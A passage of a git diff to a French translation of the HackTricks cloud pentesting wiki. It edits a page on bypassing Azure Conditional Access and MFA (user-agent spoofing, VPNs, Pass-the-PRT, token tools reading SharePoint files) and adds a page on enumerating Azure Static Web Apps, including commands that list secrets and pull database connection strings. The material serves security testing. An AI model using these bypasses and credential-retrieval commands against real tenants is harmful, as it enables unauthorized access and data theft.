pour MFA, l'attaquant pourra la contourner. Lors de la configuration d'une politique d'accès conditionnel, il est nécessaire d'indiquer les **utilisateurs** concernés et les **ressources cibles** (comme toutes les applications cloud). @@ -23,7 +23,7 @@ Il est également nécessaire de configurer les **conditions** qui **déclencher - **Réseau** : IP, plages IP et emplacements géographiques - Peut être contourné en utilisant un VPN ou un Proxy pour se connecter à un pays ou en réussissant à se connecter depuis une adresse IP autorisée - **Risques Microsoft** : Risque utilisateur, risque de connexion, risque interne -- **Plateformes d'appareils** : Tout appareil ou sélectionner Android, iOS, Windows Phone, Windows, macOS, Linux +- **Plateformes d'appareils** : Tout appareil ou sélectionner Android, iOS, Windows phone, Windows, macOS, Linux - Si "Tout appareil" n'est pas sélectionné mais que toutes les autres options sont sélectionnées, il est possible de le contourner en utilisant un user-agent aléatoire non lié à ces plateformes - **Applications clientes** : Les options sont "Navigateur", "Applications mobiles et clients de bureau", "Clients Exchange ActiveSync" et "Autres clients" - Pour contourner la connexion avec une option non sélectionnée @@ -44,13 +44,13 @@ Vous pouvez changer le user-agent **manuellement** dans les outils de développe

- Ou utiliser une [extension de navigateur comme celle-ci](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Ou utiliser une [extension de navigateur comme celle-ci](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). ### Emplacements : Pays, plages IP - Condition d'appareil Si cela est défini dans la politique conditionnelle, un attaquant pourrait simplement utiliser un **VPN** dans le **pays autorisé** ou essayer de trouver un moyen d'accéder depuis une **adresse IP autorisée** pour contourner ces conditions. -### Applications Cloud +### Applications cloud Il est possible de configurer des **politiques d'accès conditionnel pour bloquer ou forcer** par exemple MFA lorsqu'un utilisateur essaie d'accéder à une **application spécifique** : @@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -Trouvez plus d'informations sur ce type d'attaque dans la page suivante : +Trouvez plus d'informations sur ce type d'attaque sur la page suivante : {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -106,7 +106,7 @@ Trouvez plus d'informations sur ce type d'attaque dans la page suivante : Ce script récupère des identifiants d'utilisateur et vérifie s'il peut se connecter à certaines applications. -Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader des privilèges**. +Ceci est utile pour voir si vous **n'êtes pas obligé de MFA pour vous connecter à certaines applications** que vous pourriez ensuite abuser pour **escalader les privilèges**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) @@ -135,7 +135,7 @@ Cet outil a aidé à identifier les contournements MFA et à abuser des API dans ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token est un ensemble de fonctions qui visent à aider les consultants en sécurité qui ont besoin de valider les politiques d'accès conditionnel, les tests pour les portails Microsoft activés pour 2FA, etc.. +Donkey token est un ensemble de fonctions qui visent à aider les consultants en sécurité qui doivent valider les politiques d'accès conditionnel, tester les portails Microsoft avec 2FA activé, etc..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
@@ -153,7 +153,7 @@ Parce que le **portail** **Azure** n'est **pas contraint**, il est possible de *
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token
 ```
-En supposant que le jeton a la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
+Supposons que le jeton ait la permission Sites.Read.All (de Sharepoint), même si vous ne pouvez pas accéder à Sharepoint depuis le web en raison de MFA, il est possible d'utiliser le jeton pour accéder aux fichiers avec le jeton généré :
 ```powershell
 $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
 ```
diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
new file mode 100644
index 000000000..f2dbae747
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md
@@ -0,0 +1,109 @@
+# Az - Static Web Apps
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Informations de base sur les applications Web statiques
+
+Azure Static Web Apps est un service cloud pour héberger **des applications web statiques avec CI/CD automatique à partir de dépôts comme GitHub**. Il offre une distribution de contenu mondiale, des backends sans serveur et HTTPS intégré, ce qui le rend sécurisé et évolutif. Cependant, les risques incluent des CORS mal configurés, une authentification insuffisante et une altération du contenu, ce qui peut exposer les applications à des attaques comme XSS et des fuites de données si elles ne sont pas correctement gérées.
+
+> [!TIP]
+> Lorsqu'une application statique est créée, vous pouvez choisir la **politique d'autorisation de déploiement** entre **jeton de déploiement** et **workflow GitHub Actions**.
+
+
+### Authentification des applications Web
+
+Il est possible de **configurer un mot de passe** pour accéder à l'application Web. La console web permet de le configurer pour protéger uniquement les environnements de staging ou à la fois les environnements de staging et de production.
+
+Voici à quoi ressemble une application web protégée par mot de passe au moment de la rédaction :
+
+
+ + +Il est possible de voir **si un mot de passe est utilisé** et quels environnements sont protégés avec : +```bash +az rest --method GET \ +--url "/subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2024-04-01" +``` +Cependant, cela **ne montrera pas le mot de passe en texte clair**, juste quelque chose comme : `"password": "**********************"`. + +### Routes + +Les routes définissent **comment les requêtes HTTP entrantes sont traitées** au sein d'une application web statique. Configurées dans le fichier **`staticwebapp.config.json`**, elles contrôlent la réécriture d'URL, les redirections, les restrictions d'accès et l'autorisation basée sur les rôles, garantissant un traitement approprié des ressources et la sécurité. + +Quelques exemples : +```json +{ +"routes": [ +{ +"route": "/", +"rewrite": "/index.html" +}, +{ +"route": "/about", +"rewrite": "/about.html" +}, +{ +"route": "/api/*", +"allowedRoles": ["authenticated"] +}, +{ +"route": "/admin", +"redirect": "/login", +"statusCode": 302 +} +], +"navigationFallback": { +"rewrite": "/index.html", +"exclude": ["/api/*", "/assets/*"] +} +} +``` +## Énumération +```bash +# List Static Webapps +az staticwebapp list --output table + +# Get Static Webapp details +az staticwebapp show --name --resource-group --output table + +# Get appsettings +az staticwebapp appsettings list --name + +# Get env information +az staticwebapp environment list --name +az staticwebapp environment functions --name + +# Get API key +az staticwebapp secrets list --name + +# Get invited users +az staticwebapp users list --name + +# Get database connections +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections?api-version=2021-03-01" + +## Once you have the database connection name ("default" by default) you can get the connection string with the credentials +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections/default/show?api-version=2021-03-01" +``` +## Exemples pour générer des applications Web + +Vous pouvez trouver un bel exemple pour générer une application web dans le lien suivant : [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) + +1. Forkez le dépôt https://github.com/staticwebdev/react-basic/generate vers votre compte GitHub et nommez-le `my-first-static-web-app` +2. Dans le portail Azure, créez une Static Web App en configurant l'accès GitHub et en sélectionnant le nouveau dépôt forké précédemment +3. Créez-le, attendez quelques minutes et vérifiez votre nouvelle page ! + +## Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-static-web-apps-post-exploitation.md +{{#endref}} + +## Références + +- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) +- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) + +{{#include ../../../banners/hacktricks-training.md}}